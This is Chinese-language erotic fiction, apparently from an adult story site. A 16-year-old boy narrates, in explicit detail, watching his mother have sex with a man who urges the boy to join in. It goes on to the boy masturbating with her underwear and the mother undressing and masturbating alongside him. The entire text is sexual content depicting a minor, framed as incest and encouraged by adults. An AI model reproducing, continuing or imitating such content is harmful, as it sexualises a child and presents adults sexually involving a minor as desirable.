图片载入中

母亲的两片肥厚阴唇

特大字】 【大字】 【中字】 【小字

我今年十六岁,我的家是单亲家庭,十岁的那一年,父亲过世了,家里留下了我和母亲相依为命。

我的母亲有着东方女人少有的高大身材,虽然年已四十岁,但却保养得宜,诚然是一个成熟性感的丰满中年美妇人,兼具成熟女性韵味与慈祥母亲的美艳面孔,一种养尊处优的贵妇风姿,长的千娇百媚。

最迷人的是那一双水汪汪的大媚眼,每在转动瞄着看人时,似乎里面含有一团火,烧人心灵,钩人弛魄一样,一飘一转的能勾人魂。

母亲腰肢细小,以致胸部和臀部特别发达,看起来曲线幽美至极,凹凸玲珑的身段肥瘦适中,浑圆而结实,充满成熟妇人的性感韵味。

尤其胸前一对高耸丰满的大乳房更好像随时都要将上衣撑破似的,任何男人看了都不禁产生冲动,渴望捏它一把,一对肥大浑圆的粉臀,好圆好有肉,一双肥胖白雪的大腿浑圆丰满,直令人想好好地摸她一把。

母亲那美艳动人的容貌、雪白滑嫩的肌肤、丰满成熟的胴体以及徐娘半老的风韵,浑身有着一种中年妇女成熟性感的美,散放着母性的媚力。

象母亲这种成熟丰满的性感中年妇女,对于一个刚刚发育的青少年来说,是最好的意淫对象,尤其对于我这个朝夕相处的亲生儿子来说更是这样。

母亲当我是一个小孩子,根本不存在避忌,在家里经常穿得很随便,甚至可以说放任,穿裙子她一定走光,经常擡高脚搽脚甲油。

裙下一双丰腴白晰的美腿暴露出来,雪白丰满大腿深处有细小三角裤的裤裆,细小的内裤包裹住肥厚多肉的小穴,前面条缝明显把内裤扯紧到分开两块,圆卜卜。

可以清楚地看到母亲那两片肥厚阴唇的轮廓,这一切都令我心痒难耐,惹得我全身发热,勃起的鸡巴就几乎快要穿裤而出。

有时母亲冲凉之后穿着半透明的睡袍,没穿胸罩,两粒乳头忽隐忽现,荡来荡去,真想一手握去,同时母亲还养成了弯腰令她的丰满的乳房若隐若现的习惯。

我从她那宽松的衣领里面看进去,发现母亲一对又肥又大又白又嫩的乳房,吹弹得破,正晃攸攸的荡来荡去,甚至可以看到一点点乳晕所透出来的颜色。

红红黯黯的,乳晕上像葡萄般挺立的奶头让人垂涎欲滴,两乳之间还有一道迷人的可爱乳沟,太动人了!虽然不能真个消魂,但是大饱眼福也不错了。

有时母亲冲凉的时候,忘记拿换洗的衣服,就光着身子走出来拿,我坐客厅看着光着身子的亲生母亲居然有些性冲动。

母亲很开放,父亲过世之后,她没有再婚,后来她告诉我这是因为她性欲太旺盛的原故,一个男人根本满足不了她,过了一段狂野的日子,频繁地和男人约会,有时甚至把男人带回家,让我出去玩,他们就在里面做爱,有时太晚了,母亲不放心,就让我在客厅坐,他们不关门就在床上做爱,不管我就在外面偷看。

母亲总是喜欢和年轻的英俊小伙子出去约会,她在一个风月场所当妈咪,这给她提供很大的方便,但随着她年纪越大,这变得越来越困难了,母亲带回家的都是年纪大许多的老男人。

这天下午我就躺在床上睡午觉,隐约地听到隔壁传来一阵阵很奇怪的呻吟声,断断续续,好像很痛苦但又好像很爽快,我本来以为是作梦,但是当我确信完全清醒的时候,我依然可以清楚地听到那种声音。

我起身,来到母亲门口,声音变得比较清楚,男女急喘的声音交杂着斗大的汗水粒,我小心地推开房门,一看之下,不由得我的心卜卜乱跳,原来母亲正一丝不挂地和一个赤身裸体的男人地搂成一团,和那个乌黑的男人比较之下,母亲的肉体显得特别洁白细嫩。

母亲的性感肉体仰卧在床上,双腿向左右分开,很舒服的眯着眼睛,粉面涨的腓红,头部急速的向左右摇摆,胸部像波浪似的起伏,那个男人趴在母亲双腿中间,紧紧抱着母亲的屁股,拼命地前后来回挺动,我所听到的声音就是母亲口里所发出的声音:

“啊……好爽……我快要受不了了啦……啊……用力啊……我可以感觉到你的大肉棒……正在摧残……我的小穴……啊……”

母亲的脸涨得鼓鼓,像红透了的苹果,在男人急速的扭动与冲刺下,像哭泣的呻吟声不断上扬。得意非常的男客,似乎有虐待狂似地,他低下身来,手捏紧母亲彭胀硬挺的乳房,开始用舌尖舔弄、吸吮,左右揉钳起来。

只见母亲不安的身体一直扭动不安,好像身上有千万只蚂蚁在噬咬般,双手紧紧握住男人的手臂,两体不停地蠕动着。

由于身体扭动不停的绿故,插入秘穴内的男根,很快地又突出来,男人重新调整好目标后,用力地再次插入母亲的秘穴里,就这样来来回回好几次的搓送着,前后上下左右地摇摆臀部,一进一缩的肌肉运动,频频发出母亲悲鸣的声音,神秘又性感的交合处,不时有噗哧的声音传出,赤裸的男女正忘情地陶醉在肉欲的温柔窝里。

但是激情中的男女不忘随时提高警觉,我悄悄开门的声音已被发现了,那个男人停止动作,擡头看着我不知所措说:“咦,这是谁啊?”

母亲回头看着我微笑说:“这是我儿子,叫小俊。”

“喔……原来你已经有个这么大的儿子了,是小俊啊!其实你儿子也已长大了,让我来教你看最棒的做爱……”

露出淫笑的男人,将他赤红直立的阳具从母亲的肉穴拔出来,同时将母亲的臀部高高擡起,分开母亲的大腿,将母亲的肉穴现给我看。

“看到了吗?这就是你妈妈的肉穴,你就是从你妈这里生出来的,怎么样?有没有兴趣插一下……”男人指着母亲的肉穴淫笑着说。母亲肉穴的地方长满黑黝黝发亮的丛毛,润湿的肉膜中有白白的东西充满着。

“你怎么搞的,我好歹也是他的亲生母亲,哎呀……”母亲吓了一跳,马上用双手遮在阴部之上。

“怕什么?是他的亲生母亲就更应该让他看,要不他连你哪里生出来的也不知道。”

男人拉开母亲遮住阴部的双手,不客气地将硬得很的鸡巴往母亲的肉穴一压,便连根插入母亲小小的洞穴里,只见男人臀部摇动,肉洞里转呀转呀的,好几次有白色的液体流出来,噗哧!噗哧的声响,一种很奇妙说不出来的声音流泄出来。

母亲见我还站在门口,说:“小兔仔子,看够了没有?是不是真的想跟妈妈做爱?”

男人回头看着我微笑说:“看不清楚就走近点看,要不试试你妈妈肉穴的滋味。”

我不好意思继续在房间逗留,只好把房门小心翼翼地关上,回到自己房间,过了一会儿,我听到外面有些动静,听到母亲跟她男朋友道别,这时浴室里传来了水声,一定是母亲做完爱后在冲洗她湿漉漉的下体。

一切虽然恢复了平静,但是我的心情怎么也平静不下来,脑中始终挥不掉那幕活生生的性交表演,母亲晶莹的肉体仿佛仍然在我眼前出现,那个男子的鸡巴比我还小,可是因为他和我母亲没有亲缘关系,所以就可以进入母亲的肉体,在她风骚的小穴里风流快活。

想到这里,我不禁血脉愤张,裤子里的鸡巴也不由得膨涨起来,大鸡巴紧紧地束缚在裤子里,真是不舒服,于是,我把裤子和内裤全部脱掉,下身赤裸裸的坐在椅子上胡思乱想。

想着这风骚又淫荡的母亲,那身迷人的胴体柔若无骨,丰若有余,肥瘦适中,美艳至极,浑身每个地方无不让我迷恋,回忆着刚才看到的激情镜头,光是想母亲的裸体,欲望就像火一般烧着我,大鸡巴经过色情景像的剌激,翘得发涨,发红。

打开电脑,放入跟同学借来的VCD,带上耳机,画面上出现一男一女正在激烈地交合着,那名女子先是不停地舔弄那名男子的肉棒,并且用手套弄,她一面套弄一面吸吮含吹,并且脸上不时地流露出淫荡的笑容,我看着画面里那名男子被那女人弄得十分舒爽的表情,我真恨不得有个女人可以帮我套弄几下,好好地享受一下!

我看着画面里激烈的性爱,思绪又不由自主的来到母亲的身上,脑中始终挥不掉母亲刚才那幕活生生的性交表演,虽然理性告诉我不能以淫邪的眼光来看自己母亲,尤其是在自慰时。

但是还是无法控制的幻想着母亲的身体,想到风骚又淫荡的母亲,那身迷人的胴体柔若无骨,丰若有余,肥瘦适中,美艳至极,雪白的肌肤,修长的双腿,高耸的胸脯,丰满的肥臀,浑身每个地方无不让我迷恋,回忆着刚才看到的激情镜头,欲望就像火一般烧着我。

我不自禁拿出藏在抽屉的夹层中母亲一件性感透明的的三角内裤,上面还残留着母亲一些粘液,我将母亲的三角裤凑在鼻边及鸡巴上厮摩,用母亲那条内裤包着我的鸡巴,幻想着母亲正在跟我做爱,想像着那条内裤是母亲的阴户,我的大鸡巴塞入母亲的阴道里频频抽送着,真的好快感。

就在这时候,母亲突然推门进来,我急急试图用双手遮住我的勃起,但母亲已经看见了,此时我坐在椅子上,光着下身,一手握在我的鸡巴上,多么荒谬的景象,光着屁股的儿子握着勃起的男性武器与站在面前的亲生母亲面面相觑,我知道火热的脸一定红的跟什么一样。

“对不起……妈……我不知道你要进来……”我嗫嚅的低着头说,不知道该说什么,只有用双手遮住我的鸡巴,拉过被单,用被单遮住赤裸裸的下身。

母亲站在房门口,愣了一下,然后微笑着走过来,坐到我身边,说道:“傻孩子,应该是妈跟你说对不起才对,妈忘记敲门……你已经长大了,是成年人了,需要异性的慰藉,但是你现在还没有什么渠道解决生理上的需要,所以只有手淫,手淫并不是坏事,像你这种年纪,适度的手淫其实是很健康的,这没有什么不好意思的,妈不会反对禁止的,其实,妈像你这种年纪时,也是经常手淫的,不过手淫会伤身体,你要适度。”

“我会的,妈,我真庆幸有你这么一个开明的母亲。”

这时我才发现母亲洗完澡以后穿的是一件白色衬衫,和一件长裙,因为没有戴胸罩所以依稀可以透过衬衫看到她那两粒黑黑的乳头。

“你没事的时候常看这个吗?”母亲在跟我说话时,眼睛还盯着萤幕上正在做爱的镜头。

“偶尔啦,也没有常常看,没什么精采的!”我说。

“什么!这样子还算没什么精采的啊?”母亲指着电脑萤幕上正在用着夸张的姿势交媾的男女。

“要就看群交的A片,你想不想看看?我这里可都有挑过喔!”我挑衅着。

我看母亲没有拒绝,就自作主张地拿出一片光盘开始播放,故意将喇叭打开,调到相当喜欢的片段,喇叭传出阵阵的浪叫声,画面上出现了一个女人被两个男人非礼的画面。

虽说是轮奸,但是那个女人也是主动迎合,那个女人先是跨坐到一个坐在沙发上的男子,然后上下套弄,继而后面另一名男子将肉棒沾了些小穴流出来的蜜汁之后,缓缓地肏入那名女子的屁眼,两名男子粗暴地抽插着。

那名女子忘情地叫着,脸上不时地流露出淫荡的笑容,然后肏她屁眼那名男子抽出肉棒放入哪女子的口里,逼她口交,我看见母亲看到这情节时,仍旧是若无其事的表情,我就在她耳边说:“这还是小Case呢!”

过了一会,画面又转成另一名女子,被打扮成生日礼物的样子,来到寿星的家里,恰巧这时候寿星的两位朋友也一起来庆贺,好友三人就一起享用这份礼物,起先是寿星躺在地上,由那名女子趴在他身上来肏弄小穴。

后一名朋友从后以跪姿插入她的屁眼,然后另外一名则是跪在寿星身边让她口交,而且三名男子还会互换位置,分别玩尽那礼物的口、屁眼、小穴后,射精在她身上。

我盯着萤幕上正在做爱的镜头,不时在观察母亲的反应,只见母亲的胸口起伏得厉害,双手不时握拳又放开,可以看得出来她心里正在高低起伏不停。

“妈,你有没有试过这样?”我小心翼翼的问着。

“这算什么,妈试过同时跟七个男的操。”

“七个男的?别逗了,女人身上就三个洞,怎么可能同时跟七个男的操。”

“怎么不可能,先是一个男的仰卧在地上,把鸡巴向天,妈坐在上面插进屁眼,再仰卧在那个男的身上,另一个男的站前面,把鸡巴慢慢地插进妈的小穴,再来一个男的半蹲在妈的头上,捧着妈的头当操穴那样操妈的嘴巴,另一个男的骑在妈胸前捧起妈的大乳房玩乳交,让鸡巴在妈的乳沟中抽送,妈的一双小手分别握住两个男的鸡巴套弄,一对小脚再夹住一个男的鸡巴套弄,不就同时跟七个男的操啦。”母亲得意地说着。

我吃惊地看着母亲,因为母亲以前从来没有当着我的面说过这么淫荡下流的话,而且我一想到母亲一人同时应付了七个男人的情形,欲火更加高涨,被单里的那根大鸡巴耐不住心里的搔痒,正翘的阵阵抖动着,把前面撑得隆起。

这时母亲注意到被单里的变化,伸手捏一捏被单里我那根硬直的鸡巴,我胯下的鸡巴被母亲这一捏,觉得舒服异常,使得我兴奋忘记了眼前的女人是我的亲生母亲,忍不住地屁股一拱一拱地用鸡巴磨擦母亲的手掌。

母亲轻声地说:“它满有精神的嘛,你刚才自慰了一半,精液卡在一半,对身体不好,你继续自慰吧。”

我犹豫了一下,要我在自己母亲的面前自慰?可是闻到母亲身上传来的阵阵女人味,让我体内的兽欲逐渐增强,我掀开被单,硬邦邦的大鸡巴弹了出来。

一种难以遏止的兴奋直冲龟头,鸡巴猛然间暴长几分,兴冲冲地高高翘起,在灯光的照耀下上下摆动,巨大的龟头暴突出来,泛出暗紫的红光,顶端上的裂缝溢出了晶莹的水珠,颤巍巍地上下摆动着。

母亲惊唿了出来,露出惊讶的表情,赞叹着说:“哇呀……天啊,亲儿子,你的鸡巴好粗、龟头好大,比妈妈想像的还要大,乖肉,你的鸡巴,真是女人梦寐以求的珍品,又粗、又长、龟头又大,太好不过了,以后你的太太一定幸福死了。”

我的大鸡巴粗壮得不输任何男人,又粗又长,龟头如小孩拳头般大,母亲一双媚眼盯着我的大鸡巴看个不停,粉颊泛红,浑身火热,涂着诱人粉红色指甲油的青葱手指摸了我的龟头一把,情不自禁用手握住了我那根又湿又滑的紫红色大肉柱,轻轻套弄了几下,入手又烫、又硬。

“啊……好厉害……好大……坚硬且灼热……啊……你继续手淫吧,妈还没见过男孩子手淫,妈看着你手淫,你不介意吧?”

“不介意,可以在妈面前手淫,高兴还来不及。”

我握住鸡巴开始上上下下的抽动着,感觉很好,由于母亲面前一旁看着,所以比平常更加的刺激,我注意到母亲眼睛现在正紧紧的看着我的肿胀的鸡巴,这样被母亲看着使我感觉更是兴奋。

母亲发现我在看着她,红着脸说:“你看电视啊,电视上的节目这么精彩,尽看着妈干嘛。”

“妈比电视的好看得多了。”

“瞎说。”

“妈你长得那么美,漂亮而且好性感喔。”

母亲笑着说:“真的吗?像妈这样年纪的女人对你也可以有性感可言吗?”

“妈,其实你这样的女人是我心目中最性感而成熟的女人!过去我虽然交往过几个女朋友,但是我们都太幼稚了,所以后来几乎都没有往来!”

“真的吗?”

“当然是真的,我老实说,妈不要生气喔!我手淫的时候都是幻想和妈在一起,而且是常常呢!不信,你看。”我拿出刚才藏在身下母亲的那条内裤。

“咦,这不是妈的内裤吗?怪不得妈找不到这条内裤,原来被你偷来自慰,快还给妈,哇,搞得这么脏,一滩一滩的都是精液,这条不要了,妈替你换了条新的。”母亲说着,顺手把那条内裤丢进垃圾桶。

“哎呀,妈,你怎么丢掉,如果我要干净的三角裤,我大可从网络上购买,我需要的是你穿过的三角裤,上面留有你下体的味道。”

“哎,真是搞不过你,好吧,把头转过去,眼睛闭起来。”母亲说着,站起身来,背对着我,双腿并拢挺直,将裙子撩起在腰际,就在我面前将三角裤以优雅的姿势褪了下去。

我就这么一直坐着没动,看着那条刚刚还贴在母亲美臀上的三角裤,就这样脱了下来,母亲雪白的丰满屁股出现在我面前,当母亲弯下身去脱掉三角裤时,妖艳的淫臀朝向我。

我看见母亲浓密阴毛覆盖下的丰满阴阜,浑圆的丰臀,还有那紧缩的肛门,全都一览无遗的呈现在我眼前,我不自主的瞪大了眼睛,嘴巴也微微的张了开来,下面的鸡巴,更是高耸了起来。

忽的眼前一黑,这条还留着母亲体温的苹果绿三角裤就这么被轻抛到我脸上。

“叫你闭上眼睛别看的,你还看,小色鬼!”母亲嗔道。

我接过刚刚还贴在母亲美臀上的三角裤,上面还留着母亲的余温,我将卷成一团的内裤摊了开来,中间刚才包覆着母亲禁地的那块小布留下母亲阴户形状泛黄的尿渍,尿渍已经干,黄黄的一沱。

我深深闻着有一大片黄色尿渍的湿滑裤裆,隐约的还能闻到从母亲内裤上所散发出来的阵阵女性下体的异香,带有淫液甜酸味,加上尿液与汗水的腥臊味,那种奇特的味道,刺激我的脑神经,我不禁用力深唿吸,同时全身绷紧,血脉喷张,淫欲激发的鸡巴胀硬难忍。

我嘴吧里不停着舔着母亲的分泌物,吸住母亲内裤中间那泛黄的尿渍,一边看色情录像一边用手掌握住肉棒手淫起来。

母亲站起来走到我坐的桌前,用手扶摸着我的头,手肘放在我的肩上,手指轻轻搓揉起我的耳垂,那硕大的乳房紧贴着我的手臂来回地挤压,将嘴凑近我的耳朵,说话的时候,热唿唿的气不断哈到我的耳朵里:

“你用妈的内裤手淫,会不会特别爽?是不是幻想那条内裤穿在妈身上而在手淫呢?”

“是,是……”

母亲用手指着电脑画面上正在被三个男人奸淫的那个性感女郎,看着我说:“你现在觉得妈还是那个女人性感呢?”

“当然是妈性感了,妈你不但皮肤又细又白,奶儿又大又挺,臀部既有弹性又会摇……”

母亲听到了我拿她与那个性感女郎相比较,说母亲比那个女郎更美的话后,母亲格格地娇笑起来,胸部夸张地一起一伏,存心要把我诱惑死。

我坐在椅子上,局促不安,美艳动人的母亲身体好香喔,大腿好光滑喔,好有弹性,看到母亲一副风骚样,和耳垂受到的刺激,我不禁嘴里嚅嚅地说:

“妈,我可不可以看着你的裸体自慰?对着你的裸体自慰应该比较舒服。”

“不要啦,那多不好意思。”

“有什么不好意思,妈的裸体我又不是没见过,来嘛,求你了。”说着,我动手去脱母亲上衣扣子,母亲按住我双手,不让我脱,说:“不要啦,哪有儿子看自己亲生母亲的裸体。”

我们就这样相持了好一会,母亲反击到已经感到疲惫,放开双手,无力的说:“好了!好了!再拉妈的上衣都要让你撕破了,真没你办法,妈就让你看一下妈的裸体,你年纪大了,也该知道这些事情,不过你要答应妈,只准看,不准做其它的喔!”

“我保证,来,我帮妈你脱衣服。”说着,我就开始动手帮母亲脱衣服,母亲不好意思地推开我,说:“妈自己来。”

母亲耸了耸肩膀,然后淫邪的扭动着屁股,摇摇摆摆的走到房间中间。

“妈,脱吧,一件一件的脱,脱到一丝不挂,快点脱,我等着要看妈的淫乱阴户,还有丰满的乳房和屁股,我快等不及了。”

我坐在那里抽动我仍然湿搭搭的阳具,母亲用颤抖的手解开上衣的钮扣,颤抖的雪白手指好像要撕破上衣似的立刻解开上衣的钮扣,顺势慢慢的让上衣无声的滑落在地上。

两颗雪白肥大丰满的大乳房圆弧丰满的附着在上半身,毕竟是生过孩子的女人,母亲的乳房很大很柔嫩,随着母亲的唿吸,两只沈甸甸的大乳房诱惑地微微晃动,白晰晰的,好像两座雪白的山峰一般。

褐色的大乳晕中间,是个一寸半大像葡萄一样大的诱人奶头,乳头已经有些发黑,上面生着几个小孔,那是我小时候吸吮母亲乳汁所造成的结果,尽管母亲的乳房十分饱满,但是也已经开始有些下垂了,由于生过我这个孩子,小腹微微有些鼓起,不过变成褐红色的两个大乳头表明了母亲的身体正处于成熟的阶段。

我做梦也想不到母亲的乳房如此肥大,看得我双眼发直,张着嘴流着口水,像是要把母亲这对乳房吞下去似的,忍不住赞道:“呀,好漂亮的乳房,又大又圆,妈……你的奶……我是说乳房……不不……是胸部……好美……真的好美……”

母亲见我一色急竟口吃得胡言乱语,也开心得格格地娇笑起来,用自己雪白的手摸一下黑黑的乳头,叹一口气说:“什么美不美的,妈这对奶奶做少女的时候,这两个乳头可是粉红色的,不知多好看,现在因为哺乳的关系,再加上被男人吸得多的缘故,奶头变得又黑又难看。”

“不,一点也不会,美得很,妈的胸部可媲美叶子媚。”

“小子狗嘴吐不出象牙,一开口就没正经话。”

母亲听到我称赞她那对最以为傲的三十六寸丰腴大乳房,自有说不出的受用,口中虽然斥责,但满脸却堆着欢愉,开心地笑了起来,她那两个硕大的乳房跟着抖来抖去,故意让双乳波浪般地摇着,夸张地一起一伏,存心要把我诱惑死。

母亲双手解开腰上的裙带,缓缓的褪下小窄裙,将短裙退到了小腿,顿时,母亲中年妇女肥胖多肉的下体暴露在我眼前,印入眼廉的是母亲高高隆起的阴阜和浓密乌黑的阴毛,阴毛纠缠在一起,像是一个小森林,盖住了母亲全身最美艳、最迷人的神秘肉穴。

“儿子,怎么样?对妈的裸体还满意吧!”

“妈,慢慢的转动你的身体,让我好好的欣赏你的躯体。”

“你这孩子,真是得寸进尺。”

母亲被我瞧的有些害臊,但却又不忍扫我的兴,只好羞却的慢慢的转动身体,我像个小小的监赏家,由上而下的仔细看过一遍,将视线盯在母亲那比带着羞耻感颤抖的美丽肉体和恼人的表情,不由自主的伸出舌头舔嘴唇。

母亲雪白丰满的裸体出现在我面前,虽然年已四十岁,但是姿色却非常的美艳,岁月无情的流逝,没有在她的胴体显出残忍的摧残,相反的,却使母亲的肉体更散发出一股成熟的妇女韵味,她浑身雪白如凝脂般的肌肤雪嫩,是如此的光滑细致,没有丝毫瑕,看来几乎就像半透明的白玉,胸前高耸着两只浑圆饱满的大乳房,有如刚出炉的热白馒头,又大又白,如此的动人心魂,稍微有点下垂,大约有38到40这样的尺码。

我的眼珠随着母亲白生生、颤巍巍的两团大乳房打转,它们看起来是那么的饱满和沈甸,在雪白的胸肌衬托下,不负责任地颤动着,似乎在诱发男人潜藏心底的欲望。

母亲纤细的柳腰,由于生育过,小腹微微有些鼓起,又不显得过于臃肿,看起来正合适,深陷的肚脐眼,圆鼓鼓肥美的大屁股,白嫩无比,两条白晰修长的玉腿,是那么浑圆平滑,馒头似的阴阜上有一蔟黑漆漆的阴毛,令蜜穴若隐若现,但柔嫩的裂缝口仍可看得清楚,全身都显得非常美,真让男人心神晃荡。

“唔……”我叹一口气,陶醉的凝视着站在眼前母亲赤裸裸的美丽女性裸体,母亲比我曾经想像的要美得多,看得我的眼珠子都几乎跳出来,对于我来说,母亲就是这个世界上最美丽的女人,我张大着眼睛,凝视面前赤裸的美丽母亲,火灼般的目光,从母亲的胸部直到小肚、蜜穴,我的意识开始混乱起来,我不知道接下去会发生什么事,但是我只知道自己的眼睛无法从母亲赤裸的身体上挪开半寸,坐在椅子上,握住坚硬的肉棒慢慢套弄,用男人火热的眼光饥渴地盯着美丽母亲的秘肉。

“儿子,妈表演一下艳舞让你娱乐一下,好吗?”

“好啊。”

母亲硕大的屁股开始大幅度地扭摆,微微发红的脸上出现了一种媚态,卖弄风骚地扭动着她丰满肥胖的臀部,她的双肩扭转使她胸前之双乳为之颤抖不已着,上上下下移动她的手抚摩她的身体,纤细的双手在自己浑圆饱满的大乳房上揉搓抚摸,纤纤玉指不断地捏弄着红色乳晕上美丽突起的乳头。

我坐在椅上,柔和地喘气着,眼睛悸动闪耀着,凝视着母亲傲人的双峰,母亲双臂夹着她的乳房使它们看起来更为硕大,母亲看着我正处于兴奋状态中的大鸡巴在我的手掌中蠢动着,眼睛闪耀着透射出兴奋的光芒,嘴唇柔和地分离喘息着,爱抚她的手沿着她腹部从纤细的腰枝一路抚摸,直至一处隆起而丰满的草丛地带,臀部以慢动作旋转着,我的喘息声从嘴里发出,刺激着母亲跳的更起劲。

“你真正地爱看妈为你跳舞吗,儿子?”母亲以一个低微性感的声音问着。

我点头并吞下口水,此刻我的眼睛跟随母亲的手向下移动着。

母亲用舌上下舔着她的嘴唇,慢慢地滑下一手于她的大腿,然后沿着浪穴周围磨擦着,一个指尖沿着她的浪穴的裂口,她饥饿地凝视她的我的大鸡巴有力的悸动着,她的浪穴湿热感持续增加,当她移动指尖沿着分叉处的边缘她能感觉湿润,爱液己氾滥到她的大腿,母亲内心叫着,并更加大她的姿态和抚弄着她的臀部。

我的眼睛看母亲的手指滑动在她的浪穴边缘,我此刻想要抓住母亲,狠狠的把大鸡巴插入母亲的阴户之中……

母亲俯身向前时也把胸前的两颗球交互摇晃,手放在浪穴上,还不时地把腰前挺,好像正在做爱一般,有点不知羞耻地开合着大腿,做夹紧状,透明晶亮的淫液从肥美的肉穴中滴落下来,令我看得眼珠都要掉下来了。

母亲仍然移动她的指尖沿着她的浪穴的边缘,只是动作更加的煽情惹火,母亲在她的儿子面前,以如此性爱的姿势,戏弄的动作挑逗着我,我饥饿地舔我的嘴唇,我的手指轻抚着大鸡巴,更不自禁的抚弄我悸动的大鸡巴。

母亲柔和地呻吟着,身体发抖她猛拉她的手从她浪穴到她的丰乳上,她一手挤压着乳房,一手爱抚着浪穴,现在已经让人感觉母亲己不再是跳舞了,而是在手淫。

母亲突然来到我面前,手轻轻地来回抚着下体那一处微微鼓起的美妙的所在,我的脸正对着母亲的阴部,两片暗红色的肥厚大阴唇闭合起来,中间一条细长的肉缝清晰可见,母亲的大阴唇相当肥大,阴门很大,那穴缝夹得好紧。

母亲张大两腿,把手指插入疯狂扭动的屁股下面,用力分开两片充满蜜汁的粉红色肥厚大阴唇,把大阴唇拉开到几乎裂开的程度,把阴户内经过手淫后红艳艳的蜜肉完全暴露出来,两片嫩嫩的小阴唇从紧闭的玉缝中完全露了出来,向两边微伸,茸拉两旁,颜色粉红鲜艳,皱皱红红活像鸡头上的鸡冠,从会阴一直延伸到耻骨下才合拢,接合的地方有一片薄皮,卷成管状,娇嫩的阴蒂从中间冒出头来,像一颗还没开放的蔷薇花蕾,吹弹可破。

我几乎停止唿吸,长这么大,我有生以来还是头一次这么接近,又这么清楚地见识到女性的阴部,看到女人撩乱的淫态,而且是我自己亲生母亲的阴部,那生我养我的小穴,虽然穴孔两边大阴唇是深紫色,明显的显示出已经历了数不清的性行为,但是整个穴都好正点,我心中那股兴奋劲自不待言了,色眯眯的眼神散发出欲火的光彩,灼热的气息不停由鼻孔喷出。

赤裸的母亲扭动着屁股,生怕我看不清楚她的阴部似的,把浓密的阴毛向前挺,把阴部凑到我的面前,让我可以看得更加清楚,用两根手指抚摸硬硬突起的阴核,阴核以先前更突出充血成紫色,同时不停的蠕动,母亲充满欲火的媚眼柔情的望着我说:

“儿子,现在给你看的,就是妈妈的阴户,是妈妈淫乱的淫洞!像妈妈这种淫乱的女人,就会用这个东西犯罪,怎么样,妈妈的肉穴漂亮吗?”

“漂亮,红中带紫,太漂亮了……”我吐出的热气喷在母亲的秘肉上。

母亲淫荡地说:“对着自己母亲的阴部手淫,是不是很刺激?”

我点点头。

“那就看吧,尽情地看吧,想像着你的鸡巴插入妈的阴户。”看着我套弄着那粗大的鸡巴。

我被欲火烧成充满血丝的眼睛,盯在美丽母亲的下体上,那是在沾满汗水和蜜液的浓密黑色耻毛中发出光泽的秘唇,鲜红色的阴壁肉布满了亮晶晶的液体,正闪闪发出淫水的光茫,一条短小的管状尿道藏在里面,尿道口对下便是引人入胜的阴道入口,几块浅红色的小皮把守着关口,层层叠叠湿濡地贴到一起,一些透明粘滑的淫水正向外渗出,教人想到鸡巴插进去那种妙不可言的感觉。

“妈,你这样看着我手淫多不公平,你也来吧,我们一起手淫吧。”

“不要啦,那有母子俩在一起手淫,多不好意思。”

“有什么不好意思,妈的身体我又不是没见过,妈做爱时什么样我都见过,来嘛,要不我帮妈你手淫。”说着,我伸手要帮母亲手淫。

母亲不好意思地推开我,说:“不要,妈自己来。”

母亲轻轻闭上眼睛,左手移向她的胸部,轻轻的搓揉她的乳房,右手从膝盖的内侧向大腿根移动,修长的雪白手指移动到阴毛上,在那里轻轻揉搓。母亲抚摸乳房的手慢慢用力,阴毛上的手也开始活泼的蠕动,她的手指更激烈的寻找最敏感的部位,又用手指捏弄完全勃起的乳头,难以克制的像歇斯底里的声音,不断从母亲美丽的嘴里吐出来,强烈的性感逼迫她的成熟丰满的屁股和乳房跳舞,陶醉般的做出前后扭动屁股的淫糜动作。

看到母亲脸上出现恍惚的表情,以及用自己的手指拨开的肉缝,这种景色更使我疯狂,更加猛力的抽动我的阳具。

我那紫色的肉棒,和母亲充满淫蜜的火热阴洞,在彼此自己的手指玩弄下发出渍渍的声音,母亲更毫不吝啬的流出淫液,发出浪叫声。

美貌的成熟母亲和我互相给对方看陶醉在手淫时的痴态,母亲已经多么兴奋,可从紧张的美丽脸孔和突起的玫瑰色阴核,以及大量流到腿上的蜜汁可得到证明。

美丽母亲的雪白手指在骚痒的肉芽上蠕动,同时把有弹性的屁股用力扭动,下腹部用力向前挺,在我面前表演淫技,从母亲耻毛和蜜洞发出甜酸味的淫液,以及高雅的香水味,使我陶醉,母亲成熟的女蕊每当向前挺出时就会弹开洞口,把女人的一切秘密展露在我的面前,歇斯底里的浪叫声从美丽的嘴里发出来。

我的视线盯在母亲分开的大腿根上看,母亲雪白的身体微微出汗,乳房被抚摸得出现红润,抛弃一切的羞耻心和自尊心,母亲终于将中指插进自己肉洞里。

“唔……”

母亲轻轻的哼一声,仰起美丽的下颚,一个无法置信的画面进入我的眼中,母亲中指的第二关节已经进入肉洞,在她的裂缝中滑动着,在里面和四周的肉壁摩擦,然后又增加了一个指头,另一只手也从乳房上转到下身,左右手一起摩擦敏感的阴核,开始扭动屁股。

母亲一边看着我自慰,一边发出了细微的呻吟声,然后缓缓地摇动着她的臀部,用手指干着她自己的小穴,咬紧嘴唇,母亲弓起了她的双腿,深深地把她的手指插入她的私处,剧烈的喘着气,为了追求将要来临的高潮,母亲两条雪白的大腿夹在一起摩擦。手夹在光滑的大腿间,更活泼的蠕动,在自己最熟悉的敏感带抚摸,揉搓,挖弄,从下腹部传来肉体摩擦发生的水声,流出的蜜汁弄湿肛门。

歇斯底里般的淫语,和迫不及待的喘气声从母亲性感的嘴里流出来,尖叫声和裸体的颤抖,在暗玫瑰色的阴洞里蠕动的雪白手指尖,流出像男人精液般浓密的淫液,流出来的粘粘淫液,随着母亲手指的活动发出吱吱的摩擦声,形成美妙的音乐。

从我挺怒的肉棒前端,流出几乎会误以为是射精的蜜液,从龟头到地板连成一条细细的线。

母亲擡起屁股夹紧双腿,手指深深插入后,用力抽插二三次,忍不住扭动屁股,这表示高潮将要来临的征候。

“啊……妈难为情……”

母亲的身体向后仰,用力把中指插入,几乎是虐待的玩弄自己已经湿润的肉芽和阴洞以及肛门,强烈的高潮,使已经擡起的屁股更高高挺起,雪白的下体一阵颤抖后,跌落在床垫上,雪白的脸变成红润,下体微微颤抖,晶莹的淫液从母亲的指缝间溢出,滴落在我的床单上面,母亲缓缓地从她的阴部抽出她的手指并且在她的臀部上擦拭着。

我开始呻吟并且从我的鸡巴上射出乳白色的精液,覆满了我的手指,滴落在我的阴囊上。

在我射出时,母亲向后退缩,但她仍然凝视着我,一边脉动一边的喷射出精液,直到我喘息着,瘫在那里。

